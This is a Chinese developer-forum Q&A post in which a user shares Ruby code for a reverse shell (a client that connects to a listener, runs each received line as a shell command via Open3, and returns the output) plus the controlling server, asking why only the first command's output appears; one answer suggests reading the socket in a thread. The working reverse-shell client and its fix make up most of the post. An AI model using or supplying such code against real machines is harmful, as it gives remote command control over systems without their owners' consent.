开发者社区> 问答> 正文

向Shell - 如何使服务器打印发送到客户端的多条消息

我的反向shell只会在第一次打印“ls”命令的输出,我怎样才能在服务器中打印多次我想要的?

require 'socket'
require 'open3'

def createClient(hostname, port)

s = TCPSocket.new hostname, port

while line = s.gets
  if line == "exit"
    s.close
  end
  stdin, stdout, stderr, wait_thr = Open3.popen3(line)
  s.puts("#{stdout.read}")
end

end

createClient("127.0.0.1", 9090)

require 'socket'

def createServer(hostname, port)

server = TCPServer.new(hostname, port)
client = server.accept

loop do

 message = gets.chomp
 if message == "exit"
   break
 end
 client.puts(message)
 while line = client.gets
   puts line
 end

end

client.close

end

createServer("127.0.0.1", 9090)
我期待服务器打印客户端处理的所有ls命令,但它只打印第一个命令。

展开
收起
小六码奴 2019-04-10 13:31:08 2927 0
1 条回答
写回答
取消 提交回答
  • client.gets,直到它被关闭,一直听插座。所以它挂在那里。

    你可以尝试打开踩踏板来听取插座。主循环侦听stdin并将msg发送到套接字。像这样:

    Thread.new do

     while line = client.gets 
        puts line
     end

    end

    loop do

     message = gets.chomp
     if message == "exit"
       break
     end
     client.puts(message)

    end

    client.close

    2019-07-17 23:33:06
    赞同 展开评论 打赏
问答排行榜
最热
最新

相关电子书

更多
Shell 脚本速查手册 立即下载
如何运维千台以上游戏云服务器 立即下载
网站/服务器取证 实践与挑战 立即下载